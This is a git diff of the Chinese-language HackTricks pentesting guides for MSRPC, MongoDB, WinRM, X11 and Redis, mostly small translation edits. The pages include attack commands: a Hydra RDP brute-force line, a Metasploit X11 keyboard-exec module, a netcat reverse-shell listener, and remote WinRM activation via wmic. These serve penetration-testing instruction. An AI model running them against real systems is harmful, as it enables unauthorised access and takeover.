来自该指南上次我们检查时Dexguard 的操作模式是:
* 将资源加载为 InputStream
* 将结果传递给继承自 FilterInputStream 的类以解密;
* 将结果传递给继承自 FilterInputStream 的类以进行解密;
* 进行一些无用的混淆,以浪费反向工程师几分钟的时间;
* 将解密的结果传递给 ZipInputStream 以获取 DEX 文件;
* 最后使用 `loadDex` 方法将结果 DEX 加载为资源
* 将解密的结果传递给 ZipInputStream 以获取 DEX 文件;
* 最后使用 `loadDex` 方法将结果 DEX 作为资源加载
### [DeGuard](http://apk-deguard.com)
@ -780,7 +780,7 @@ ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应
### [Simplify](https://github.com/CalebFenton/simplify)
它是一个 **通用的 Android 去混淆工具。** Simplify **虚拟执行应用程序** 以理解其行为,然后 **尝试优化代码** 使其表现相同,但更易于人类理解。每种优化类型都简单且通用,因此无论使用何种特定类型的混淆都无关紧要。
它是一个 **通用的 Android 去混淆。** Simplify **虚拟执行应用程序** 以理解其行为,然后 **尝试优化代码** 使其表现相同,但更易于人类理解。每种优化类型都简单且通用,因此无论使用何种特定类型的混淆都无关紧要。
### [APKiD](https://github.com/rednaga/APKiD)
@ -810,7 +810,7 @@ AndroL4b 是一个基于 ubuntu-mate 的 Android 安全虚拟机,包含来自
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -821,7 +821,7 @@ AndroL4b 是一个基于 ubuntu-mate 的 Android 安全虚拟机,包含来自
通过实时新闻和见解,跟上快速变化的黑客世界
**最新公告**\
及时了解最新的漏洞赏金计划和重要平台更新
及时了解最新的漏洞赏金发布和重要平台更新
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作!

View file

@ -15,7 +15,7 @@
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -28,25 +28,25 @@
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作吧!
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作吧!
## 基本信息
Microsoft 远程过程调用 (MSRPC) 协议是一种客户端-服务器模型,使程序能够请求位于另一台计算机上的程序提供服务,而无需了解网络的具体情况。该协议最初源于开源软件,后来由 Microsoft 开发并获得版权。
Microsoft 远程过程调用 (MSRPC) 协议是一种客户端-服务器模型,使程序能够请求位于另一台计算机上的程序提供服务,而无需了解网络的具体细节。该协议最初源于开源软件,后来由 Microsoft 开发并获得版权。
RPC 端点映射器可以通过 TCP 和 UDP 端口 135 访问SMB 在 TCP 139 和 445使用空会话或经过身份验证的会话以及作为 Web 服务在 TCP 端口 593 上访问
RPC 端点映射器可以通过 TCP 和 UDP 端口 135 访问SMB 在 TCP 139 和 445使用空会话或经过身份验证的会话以及作为 TCP 端口 593 上的 Web 服务
```
135/tcp open msrpc Microsoft Windows RPC
```
## MSRPC是如何工作的
由客户端应用程序发起MSRPC过程涉及调用本地存根过程然后与客户端运行时库交互以准备和传输请求到服务器。这包括将参数转换为标准网络数据表示格式。如果服务器是远程的传输协议的选择由运行时库决定确保RPC通过网络栈传递。
由客户端应用程序发起MSRPC过程涉及调用本地存根过程然后与客户端运行时库交互以准备并将请求传输到服务器。这包括将参数转换为标准网络数据表示格式。如果服务器是远程的传输协议的选择由运行时库决定确保RPC通过网络栈传递。
![https://0xffsec.com/handbook/images/msrpc.png](https://0xffsec.com/handbook/images/msrpc.png)
## **识别暴露的RPC服务**
通过查询RPC定位服务和各个端点可以确定通过TCP、UDP、HTTP和SMB暴露的RPC服务。工具如rpcdump有助于识别唯一的RPC服务以**IFID**值表示,揭示服务细节和通信绑定:
通过查询RPC定位服务和各个端点可以确定通过TCP、UDP、HTTP和SMB暴露的RPC服务。工具如rpcdump有助于识别独特的RPC服务以**IFID**值表示,揭示服务细节和通信绑定:
```
D:\rpctools> rpcdump [-p port] <IP>
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
@ -62,9 +62,9 @@ use auxiliary/scanner/dcerpc/management
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
rpcdump.py <IP> -p 135
```
所有选项除了 `tcp_dcerpc_auditor` 都是专门针对端口 135 上的 MSRPC 进行攻击设计的
所有选项除了 `tcp_dcerpc_auditor` 都是专门针对端口 135 上的 MSRPC。
#### 知名 RPC 接口
#### 显著的 RPC 接口
* **IFID**: 12345778-1234-abcd-ef00-0123456789ab
* **命名管道**: `\pipe\lsarpc`
@ -95,7 +95,7 @@ rpcdump.py <IP> -p 135
使用 [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver),来自 [Airbus research](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/),可以滥用 _**ServerAlive2**_ 方法在 _**IOXIDResolver**_ 接口内。
该方法已被用于从 HTB 盒子 _APT_ 获取接口信息,如 **IPv6** 地址。有关 0xdf APT 的详细信息,请参见 [这里](https://0xdf.gitlab.io/2021/04/10/htb-apt.html)其中包括使用来自 [Impacket](https://github.com/SecureAuthCorp/impacket/) 的 rpcmap.py _stringbinding_ 的替代方法(见上文)。
该方法已被用于从 HTB 盒子 _APT_ 获取接口信息作为 **IPv6** 地址。有关 0xdf APT 的详细信息,请参见 [这里](https://0xdf.gitlab.io/2021/04/10/htb-apt.html)包括使用来自 [Impacket](https://github.com/SecureAuthCorp/impacket/) 的 rpcmap.py 的替代方法,使用 _stringbinding_(见上文)。
### 使用有效凭据执行 RCE
@ -117,7 +117,7 @@ rpcdump.py <IP> -p 135
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
* [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -133,16 +133,16 @@ rpcdump.py <IP> -p 135
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作!
{% hint style="success" %}
学习实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}

View file

@ -9,13 +9,13 @@
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -28,11 +28,11 @@
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作吧!
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作吧!
## 基本信息
**MongoDB** 是一个 **开源** 数据库管理系统,使用 **文档导向数据库模型** 来处理多种形式的数据。它为管理非结构化或半结构化数据提供了灵活性和可扩展性,适用于大数据分析和内容管理等应用。**默认端口:** 27017, 27018
**MongoDB** 是一个 **开源** 数据库管理系统,使用 **文档导向数据库模型** 来处理多种形式的数据。它为管理大数据分析和内容管理等应用中的非结构化或半结构化数据提供了灵活性和可扩展性。**默认端口:** 27017, 27018
```
PORT STATE SERVICE VERSION
27017/tcp open mongodb MongoDB 2.6.9 2.6.9
@ -108,17 +108,17 @@ Mongo 对象 ID 是 **12 字节十六进制** 字符串:
3. 2500: 进程 ID
4. 314019: 增量计数器
在上述元素中,机器标识符在数据库运行在同一物理/虚拟机上时将保持不变。进程 ID 仅在 MongoDB 进程重启时更改。时间戳每秒更新一次。通过简单地递增计数器和时间戳值来猜测对象 ID 的唯一挑战是 Mongo DB 在系统级别生成和分配对象 ID。
在上述元素中,机器标识符在数据库运行在同一物理/虚拟机上时将保持不变。进程 ID 仅在 MongoDB 进程重启时更改。时间戳每秒更新。通过简单地递增计数器和时间戳值来猜测对象 ID 的唯一挑战是 Mongo DB 在系统级别生成和分配对象 ID。
工具 [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict),给定一个起始对象 ID您可以创建一个帐户并获取起始 ID它会返回大约 1000 个可能分配给下一个对象的对象 ID因此您只需对它们进行暴力破解。
## Post
如果您是 root您可以 **修改** **mongodb.conf** 文件以便不需要凭据_noauth = true_ **无需凭据登录**
如果您是 root您可以 **修改** **mongodb.conf** 文件以便不需要凭据_noauth = true_**无需凭据登录**
***
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -129,13 +129,13 @@ Mongo 对象 ID 是 **12 字节十六进制** 字符串:
通过实时新闻和见解,跟上快速变化的黑客世界
**最新公告**\
了解最新的漏洞赏金启动和重要平台更新
及时了解最新的漏洞赏金发布和重要平台更新
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作!
{% hint style="success" %}
学习实践 AWS 黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习实践 AWS 黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客攻击: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -15,7 +15,7 @@
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -32,14 +32,14 @@
## WinRM
[Windows 远程管理 (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) 被微软强调为一种 **协议**,它通过 HTTP(S) 实现 **Windows 系统的远程管理**,并在此过程中利用 SOAP。它基本上由 WMI 提供支持,呈现为 WMI 操作的基于 HTTP 的接口。
[Windows 远程管理 (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) 被微软强调为一种 **协议**,它通过 HTTP(S) 实现 **Windows 系统的远程管理**,并在此过程中利用 SOAP。它基本上由 WMI 提供支持,呈现为 WMI 操作的基于 HTTP 的接口。
WinRM 在机器上的存在允许通过 PowerShell 进行简单的远程管理,类似于 SSH 在其他操作系统中的工作方式。要确定 WinRM 是否正常运行,建议检查特定端口的开放情况:
机器上存在 WinRM 允许通过 PowerShell 进行简单的远程管理,类似于 SSH 在其他操作系统中的工作方式。要确定 WinRM 是否正常运行,建议检查特定端口的开放情况:
* **5985/tcp (HTTP)**
* **5986/tcp (HTTPS)**
上述列表中的开放端口表示 WinRM 已被设置,从而允许尝试启动远程会话。
上述列表中的开放端口表明 WinRM 已经设置,从而允许尝试启动远程会话。
### **启动 WinRM 会话**
@ -48,7 +48,7 @@ WinRM 在机器上的存在允许通过 PowerShell 进行简单的远程管理
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
这种方法涉及在 `trustedhosts` 配置中添加通配符,这一步骤需要谨慎考虑其影响。还需要注意的是,可能需要将攻击者机器上的网络类型从“公共”更改为“工作”。
这种方法涉及在 `trustedhosts` 配置中添加通配符,这一步骤需要谨慎考虑其影响。还需要注意的是,可能需要在攻击者的机器上将网络类型从“公共”更改为“工作”。
此外,可以使用 `wmic` 命令**远程激活** WinRM示例如下
```powershell
@ -58,7 +58,7 @@ wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -forc
### 测试是否已配置
要验证攻击机器的设置,使用 `Test-WSMan` 命令检查目标是否正确配置了 WinRM。通过执行此命令您应该期望收到有关协议版本和 wsmid 的详细信息,指示配置成功。以下是演示已配置目标与未配置目标预期输出的示例:
要验证攻击机器的设置,可以使用 `Test-WSMan` 命令检查目标是否正确配置了 WinRM。通过执行此命令您应该期望收到有关协议版本和 wsmid 的详细信息,指示配置成功。以下是演示已配置目标与未配置目标预期输出的示例:
* 对于一个 **已** 正确配置的目标,输出将类似于:
```bash
@ -68,7 +68,7 @@ Test-WSMan <target-ip>
![](<../.gitbook/assets/image (582).png>)
* 相反,对于**未**配置WinRM的目标将不会返回此详细信息突显出缺乏适当的WinRM设置。
* 相反,对于**未**配置WinRM的目标将不会返回此详细信息突显出缺乏适当的WinRM设置。
![](<../.gitbook/assets/image (458).png>)
@ -123,7 +123,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
```
### 保存和恢复会话
**将不起作用** 如果远程计算机中的 **语言****限制**
如果远程计算机中的**语言**受到**限制**,则此**将不起作用**
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
@ -150,7 +150,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -163,7 +163,7 @@ winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
**今天就加入我们,** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶黑客开始合作!
**今天就加入我们,** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶黑客开始合作!
## 在Linux中连接WinRM
@ -263,7 +263,7 @@ end
* `port:5985 Microsoft-HTTPAPI`
## 参考
## References
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
@ -304,7 +304,9 @@ Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -329,7 +331,7 @@ Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -141,7 +141,7 @@ msf> use exploit/unix/x11/x11_keyboard_exec
```
其他方式:
**反向Shell** Xrdp还允许通过Netcat获取反向Shell。输入以下命令
**反向Shell** Xrdp 还允许通过 Netcat 获取反向 shell。输入以下命令
```bash
./xrdp.py \<IP:0> no-disp
```
@ -151,7 +151,7 @@ msf> use exploit/unix/x11/x11_keyboard_exec
```bash
nc -lvp 5555
```
然后,将您的 IP 地址和端口放入 **R-Shell** 选项中,然后点击 **R-shell** 以获取 shell
然后,将您的IP地址和端口放入**R-Shell**选项中,然后点击**R-shell**以获取一个shell
## 参考文献
@ -163,9 +163,9 @@ nc -lvp 5555
* `port:6000 x11`
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客见解**\
参与深入探讨黑客的刺激与挑战的内容
@ -179,16 +179,16 @@ nc -lvp 5555
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作!
{% hint style="success" %}
学习和实践 AWS 黑客技术<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习与实践AWS黑客攻击<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家ARTE**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践GCP黑客攻击<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家GRTE**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
<summary>支持HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交 PR 来分享黑客技巧。
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord小组**](https://discord.gg/hRep4RUj7f)或[**电报小组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# 6379 - Pentesting Redis
{% hint style="success" %}
学习实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,7 +15,7 @@
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -28,7 +28,7 @@
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作吧!
**今天就加入我们,进入** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作吧!
## 基本信息
@ -52,7 +52,7 @@ msf> use auxiliary/scanner/redis/redis_server
### 横幅
Redis 是一个 **基于文本的协议**,你可以直接 **在套接字中发送命令**返回的值将是可读的。还要记住Redis 可以使用 **ssl/tls** 运行(但这很奇怪)。
Redis 是一个 **基于文本的协议**,你可以直接 **在套接字中发送命令**返回的值将是可读的。还要记住Redis 可以使用 **ssl/tls** 运行(但这很少见)。
在一个常规的 Redis 实例中,你可以直接使用 `nc` 连接,或者你也可以使用 `redis-cli`
```bash
@ -63,25 +63,25 @@ redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
-NOAUTH Authentication required.
```
在这种情况下,这意味着**您需要有效的凭据**才能访问Redis实例。
在这种情况下,这意味着 **您需要有效的凭据** 来访问 Redis 实例。
### Redis身份验
### Redis
**默认情况下**Redis可以**不需要凭据**进行访问。然而,它可以被**配置**为仅支持**密码或用户名 + 密码**。\
可以在_**redis.conf**_文件中使用参数`requirepass`**设置密码****或临时**直到服务重启,连接到它并运行:`config set requirepass p@ss$12E45`。\
此外可以在_**redis.conf**_文件中的参数`masteruser`中配置**用户名**。
**默认情况下** Redis 可以 **不需要凭据** 进行访问。然而,它可以被 **配置** 为仅支持 **密码,或用户名 + 密码**。\
可以在 _**redis.conf**_ 文件中使用参数 `requirepass` **设置密码****或临时** 直到服务重启,连接到它并运行:`config set requirepass p@ss$12E45`。\
此外,可以在 _**redis.conf**_ 文件中的参数 `masteruser` 中配置 **用户名**
{% hint style="info" %}
如果仅配置了密码,则使用的用户名是"**default**"。\
另外,请注意**无法从外部找到**Redis是否仅配置了密码或用户名+密码。
如果仅配置了密码,则使用的用户名是 "**default**"。\
另外,请注意 **没有办法从外部找到** Redis 是否仅配置了密码或用户名+密码。
{% endhint %}
在这种情况下,您将**需要找到有效的凭据**以与Redis进行交互因此您可以尝试[**暴力破解**](../generic-methodologies-and-resources/brute-force.md#redis)。\
**如果您找到了有效的凭据,您需要在建立连接后使用以下命令进行身份验证**
在这种情况下,您将 **需要找到有效的凭据** 来与 Redis 交互,因此您可以尝试 [**暴力破解**](../generic-methodologies-and-resources/brute-force.md#redis)。\
**如果您找到了有效的凭据,您需要在建立连接后使用以下命令进行会话认证**
```bash
AUTH <username> <password>
```
**有效凭据**将会返回: `+OK`
**有效凭据**将会返回:`+OK`
### **认证枚举**
@ -100,7 +100,7 @@ CONFIG GET *
```
rename-command FLUSHDB ""
```
有关安全配置Redis服务的更多信息请访问[https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
有关如何安全配置Redis服务的更多信息请访问[https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
您还可以使用命令**`monitor`**实时**监控执行的Redis命令**,或使用**`slowlog get 25`**获取**25个最慢的查询**。
@ -108,7 +108,7 @@ rename-command FLUSHDB ""
### **转储数据库**
在Redis中**数据库是从0开始的数字**。您可以在命令`info`的“Keyspace”部分的输出中找到是否有人在使用:
在Redis中**数据库是从0开始的数字**。您可以在命令`info`的输出中找到是否有人在“Keyspace”块中使用:
![](<../.gitbook/assets/image (766).png>)
@ -116,7 +116,7 @@ rename-command FLUSHDB ""
```
INFO keyspace
```
该示例中,**数据库 0 和 1** 正在使用中。**数据库 0 包含 4 个键,数据库 1 包含 1 个**。默认情况下Redis 将使用数据库 0。为了导出例如数据库 1您需要执行
这个例子中,**数据库 0 和 1** 正在被使用。**数据库 0 包含 4 个键,而数据库 1 包含 1 个**。默认情况下Redis 将使用数据库 0。为了导出例如数据库 1您需要执行
```bash
SELECT 1
[ ... Indicate the database ... ]
@ -125,7 +125,7 @@ KEYS *
GET <KEY>
[ ... Get Key ... ]
```
在运行 `GET <KEY>`,如果出现以下错误 `-WRONGTYPE Operation against a key holding the wrong kind of value`,这可能是因为该键的类型不是字符串或整数,需要使用特殊操作符来显示它。
如果在运行 `GET <KEY>` 时出现以下错误 `-WRONGTYPE Operation against a key holding the wrong kind of value`,这可能是因为该键的类型不是字符串或整数,并且需要特殊操作符来显示它。
要知道键的类型,请使用 `TYPE` 命令,下面是列表和哈希键的示例。
```bash
@ -141,11 +141,11 @@ DUMP <key>
```
**使用 npm 导出数据库**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **或 python** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
